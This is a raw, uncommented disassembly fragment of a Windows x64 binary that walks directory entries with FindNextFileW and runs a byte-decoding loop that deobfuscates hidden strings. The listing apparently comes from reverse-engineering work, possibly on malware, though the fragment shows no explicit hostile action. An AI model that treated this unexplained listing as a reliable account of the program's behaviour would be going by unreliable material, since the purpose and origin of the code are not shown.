jmp 0x14000d39d
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x90], rax
mov r8d, 0x248
lea rbx, [rsp + 0xae0]
mov rcx, rbx
lea rdx, [rsp + 0x600]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
mov r8d, 0x248
mov rcx, r15
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x248
lea rbx, [rsp + 0xd30]
mov rcx, rbx
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
test r14b, r14b
je 0x14000d3aa
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
mov rdi, qword [rsp + 0x90]
mov rcx, rdi
call fcn.140003ed2
jmp 0x14000d559
mov qword [rsp + 0x5f0], rdi
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x5f8], rax
mov r8d, 0x248
lea rcx, [rsp + 0x600]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x614]
mov edi, dword [rsp + 0x618]
shl rax, 0x20
or rdi, rax
lea rcx, [rsp + 0xe8]
mov rdx, r15
call fcn.14008b5de
mov rbx, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x5e0], rbx
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x178], rdi
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x150], rax
lea rax, [0x140085b5e]
mov qword [rsp + 0x158], rax
push 2
pop rax
mov qword [rsp + 0x890], rax
and qword [rsp + 0x8a0], 0
push 0x64
pop rdx
mov qword [rsp + 0x8a8], rdx
and qword [rsp + 0x8b0], 0
lea rcx, [rsp + 0x178]
mov qword [rsp + 0x160], rcx
lea rcx, [0x14001951b]
mov qword [rsp + 0x168], rcx
push 0x20
pop r8
mov qword [rsp + 0x8b8], r8
mov cl, 3
mov byte [rsp + 0x8c0], cl
mov qword [rsp + 0x8c8], rax
mov qword [rsp + 0x8d8], rax
mov qword [rsp + 0x8e0], rdx
mov qword [rsp + 0x8e8], 1
mov qword [rsp + 0x8f0], r8
mov byte [rsp + 0x8f8], cl
lea rcx, [0x1400a6bc8]
mov qword [rsp + 0xae0], rcx
mov qword [rsp + 0xae8], rax
mov qword [rsp + 0xb00], rsi
mov qword [rsp + 0xb08], rax
lea rcx, [rsp + 0x150]
mov qword [rsp + 0xaf0], rcx
mov qword [rsp + 0xaf8], rax
lea rdi, [rsp + 0x878]
mov rcx, rdi
lea rdx, [rsp + 0xae0]
call fcn.140004b3a
mov rdx, qword [rsp + 0xf0]
mov rcx, rbx
call fcn.140010c6f
lea rcx, [rsp + 0x860]
mov rdx, rdi
call fcn.140004b81
mov rcx, r15
call fcn.140004688
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
mov al, 1
lea rbx, [rsp + 0xd30]
jmp 0x14000d254
mov rcx, r13
call qword [sym.imp.kernel32.dll_FindClose]
lea rcx, [rsp + 0x180]
call fcn.140004688
lea rsi, [rsp + 0x860]
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov qword [rsp + 0x20], 1
lea r9, [0x1400fbba0]
mov rcx, qword [rsp + 0x88]
call fcn.140079f91
mov rcx, rsi
call fcn.140004697
mov r15, qword [rsp + 0x98]
jmp 0x14000d646
movabs r12, 0x300000002
lea rsi, [rsp + 0x860]
mov qword [rsi], 8
lea rbx, [rsp + 0x890]
mov qword [rbx], r12
mov qword [rsp + 0x5f0], rbx
lea rax, [0x14004015e]
mov qword [rsp + 0x5f8], rax
lea rax, [0x1400a6bb8]
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], rax
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rbx]
call fcn.140003ed2
mov rcx, rsi
call fcn.140004697
mov rcx, qword [rsp + 0xa0]
mov rdx, r15
jmp 0x14000c606
lea rax, [0x14009ff9a]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400a6b55]
push 4
pop rdx
test r9b, 1
je 0x14000d6d6
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
lea r9d, [r11 + r10]
add r9d, 0x7000000
xor r9d, dword [rax + r8 + 0x6ea0]
mov dword [rsp + r8 + 0x180], r9d
xor r9d, r9d
mov r8, rdx
jmp 0x14000d685
lea r8, [rsp + 0x180]
mov eax, dword [r8]
mov dword [r8], eax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 4
pop r9
call fcn.14001282a
test al, al
je 0x14000d73a
lea rdx, [0x1400a6b14]
push 4
pop r8
mov rcx, qword [rsp + 0x88]
call fcn.140011183
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0xa0]
call fcn.140099645
mov rax, qword [rsp + 0xb8]
jmp 0x14000c616
lea rax, str.Yk_n_
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
mov qword [rdx + 8], 1
lea rax, [0x1400fb828]
mov qword [rdx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x18], xmm0
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
jmp 0x14000cfb7
mov rcx, r12
mov rdx, r15
mov r8, rbx
mov r9, r15
call fcn.1400a31d5
ud2
lea rcx, [rsp + 0xe8]
call fcn.14007eead
lea rcx, [rsp + 0x150]
call fcn.140092c2c
ud2